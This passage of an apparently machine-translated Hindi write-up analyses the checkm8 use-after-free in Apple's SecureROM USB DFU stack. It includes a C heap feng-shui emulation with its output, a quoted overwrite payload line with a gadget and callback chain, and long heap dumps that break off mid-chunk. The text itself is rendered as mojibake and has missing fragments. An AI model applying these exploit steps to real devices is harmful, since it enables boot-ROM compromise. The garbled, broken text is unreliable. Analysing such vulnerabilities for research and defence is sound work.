рдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрддреНрдкрдиреНрди рдХреНрд╡реЗрд░реА рдХреЗ рдкреВрд░рд╛ рд╣реЛрдиреЗ рдкрд░, рдЕрдВрддрд┐рдо callback
рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╕реНрдерд┐рддрд┐ рд╕рдВрддреБрд╖реНрдЯ рд╣реЛрддреА рд╣реИ, рдФрд░ usb_core_send_zlp()
рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдХреЙрд▓ рдХреЗрд╡рд▓ рдПрдХ zero-length-packet
рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрди рдХрддрд╛рд░ рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред рд▓реЗрди-рджреЗрди рдХреЗ рд▓рд┐рдП Status Stage
рдореЗрдВ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИред
рдЕрдиреБрд░реЛрдз usb_core_complete_endpoint_io
рдлрд╝рдВрдХреНрд╢рди рдкрд░ рдХреЙрд▓ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдкрд╣рд▓реЗ callback
рдХрд╣рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЕрдиреБрд░реЛрдз рдореЗрдореЛрд░реА рдХреЛ рдореБрдХреНрдд рдХрд░рддрд╛ рд╣реИред рдЙрд╕реА рд╕рдордп, рдЕрдиреБрд░реЛрдз рдкреВрд░рд╛ рд╣реЛрдиреЗ рдкрд░ рди рдХреЗрд╡рд▓ рддрдм рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рд╕рдВрдкреВрд░реНрдг рд▓реЗрдирджреЗрди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреВрд░рд╛ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рдмрд▓реНрдХрд┐ рдпрд╣ рднреА рдЬрдм USB
рд░реАрд╕реЗрдЯ рд╣реЛред рдЬреИрд╕реЗ рд╣реА рдПрдХ USB
рд░реАрд╕реЗрдЯ рд╕рд┐рдЧреНрдирд▓ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рдЕрдиреБрд░реЛрдз рдХрддрд╛рд░ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрдирдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдкреВрд░рд╛ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
рдЪрдпрдирд╛рддреНрдордХ рдХреЙрд▓ usb_core_send_zlp()
, рдЕрдиреБрд░реЛрдз рдХрддрд╛рд░ рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рдЙрдиреНрд╣реЗрдВ рдЬрд╛рд░реА рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг, рдЖрдк use-after-free
рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдвреЗрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рд░рд┐рд▓реАрдЬрд╝ рдЪрдХреНрд░ рдХреЛ рд╕реНрд╡рдпрдВ рджреЗрдЦреЗрдВ:

рдЕрдиреБрд░реЛрдз рдХрддрд╛рд░ рдХреЛ рдкрд╣рд▓реЗ рд╕рд╛рдлрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдлрд┐рд░ рд░рджреНрдж рдХрд┐рдП usb_core_complete_endpoint_io
рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ usb_core_complete_endpoint_io
, рдФрд░ рдЙрдиреНрд╣реЗрдВ usb_core_complete_endpoint_io
рдХреЙрд▓ рдХрд░рдХреЗ рдкреВрд░рд╛ рдХрд┐рдпрд╛ usb_core_complete_endpoint_io
ред рдЙрд╕реА рд╕рдордп, usb_core_send_zlp
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЪрдпрдирд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ ep->io_head
рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред USB
рд░реАрд╕реЗрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкреВрд░реА рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рд░реАрд╕реЗрдЯ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рдореЗрдВ io_head
рдФрд░ io_tail
, рдФрд░ рд╢реВрдиреНрдп-рд▓рдВрдмрд╛рдИ рдЕрдиреБрд░реЛрдз рдвреЗрд░ рдкрд░ рд░рд╣реЗрдЧрд╛ред рддреЛ рдЖрдк рдмрд╛рдХреА рдвреЗрд░ рдХреЗ рдмреАрдЪ рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдЖрд░реЗрдЦ рд╕реЗ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рд╣реЛрддрд╛ рд╣реИ:

SecureROM
рдореЗрдВ рдвреЗрд░ рдХреЛ рдЗрд╕ рддрд░рд╣ SecureROM
рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдПрдХ рдирдП рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЛ рд╕рдмрд╕реЗ рдЫреЛрдЯреЗ рдЖрдХрд╛рд░ рдХреЗ рдЙрдкрдпреБрдХреНрдд рдлреНрд░реА рдЪрдВрдХ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рд╡рд┐рдзрд┐ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдореБрдлреНрдд рд╣рд┐рд╕реНрд╕рд╛ рдмрдирд╛рдХрд░, рдЖрдк USB
рдЖрд░рдВрднреАрдХрд░рдг рдХреЗ рджреМрд░рд╛рди рдореЗрдореЛрд░реА рдХреЗ рдЖрд╡рдВрдЯрди рдФрд░ io_buffer
рдХреЗ рдЖрд╡рдВрдЯрди рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдмреЗрд╣рддрд░ рд╕рдордЭ рдХреЗ рд▓рд┐рдП, DFU
рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдпрд╣ рдЬрд╛рдирдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдХрд┐ рдХреМрди рд╕реЗ рдвреЗрд░ рдЕрдиреБрд░реЛрдз рд╣реИрдВред iBoot
рд╕реНрд░реЛрдд рдХреЛрдб рдФрд░ iBoot
рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рдХреНрд░рдо рдореЗрдВ SecureROM
рд╣рдо рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдХреНрд░рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣реЗ:
- рд╡рд┐рднрд┐рдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХрд╛ рдЖрд╡рдВрдЯрди
- 1.1ред
Nonce
(рдЖрдХрд╛рд░ 234
) - 1.2ред
Manufacturer
( 22
) - 1.3ред
Product
( 62
) - 1.4ред
Serial Number
( 198
) - 1.5ред
Configuration string
( 62
)
- рдЖрд╡рдВрдЯрди
USB
рдХреЗ рдХрд╛рд░реНрдп рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ
- 2.1ред рдХрд╛рд░реНрдп рд╕рдВрд░рдЪрдирд╛ (
0x3c0
) - 2.2ред рд╕реНрдЯреИрдХ рдЯрд╛рд╕реНрдХ (
0x1000
)
io_buffer
( io_buffer
)
- рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░
- 4.1ред
High-Speed
( 25
) - 4.2ред
Full-Speed
( 25
)
рдлрд┐рд░ рдЕрдиреБрд░реЛрдз рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХрд╛ рдПрдХ рдЖрд╡рдВрдЯрди рд╣реИред рдпрджрд┐ рдвреЗрд░ рд╕реНрдерд╛рди рдХреЗ рдмреАрдЪ рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рддреЛ рдкрд╣рд▓реА рд╢реНрд░реЗрдгреА рд╕реЗ рдХреБрдЫ рдЖрд╡рдВрдЯрди рдЗрд╕ рдЪрдВрдХ рдореЗрдВ рдЬрд╛рдПрдВрдЧреЗ, рдФрд░ рдЕрдиреНрдп рд╕рднреА рдЖрд╡рдВрдЯрди рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рд╣рдо рдкреБрд░рд╛рдиреЗ рдмрдлрд░ рдХрд╛ рдЬрд┐рдХреНрд░ рдХрд░рддреЗ рд╣реБрдП usb_device_io_request
рдХреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпреЛрдЬрдирд╛рдмрджреНрдз рд░реВрдк рд╕реЗ, рдЗрд╕реЗ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдЖрд╡рд╢реНрдпрдХ рдкреВрд░реНрд╡рд╛рдЧреНрд░рд╣ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдмрд╕ рдКрдкрд░ рд╕реВрдЪреАрдмрджреНрдз рдЖрд╡рдВрдЯрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, iBoot
рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдереЛрдбрд╝рд╛ рд╕рд╛ iBoot
ред
DFU рдвреЗрд░ рдЙрддреНрд╕рд░реНрдЬрди #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; }
heap feng-shui
рдЪрд░рдг рдореЗрдВ 8 рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдпрдХреНрд░рдо рдЙрддреНрдкрд╛рджрди:
chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540
рдЕрдЧрд▓рд╛ usb_device_io_request
рдкрд┐рдЫрд▓реЗ рдмрдлрд░ рдХреА рд╢реБрд░реБрдЖрдд рд╕реЗ рдСрдлрд╕реЗрдЯ 0x5c0
рдкрд░ рд╣реЛрдЧрд╛, рдЬреЛ рд╢реЛрд╖рдг рдХреЛрдб рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ:
t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
, SecureRAM
, checkm8
. , . , usb_device_io_request
, .
. , .
SecureRAM chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 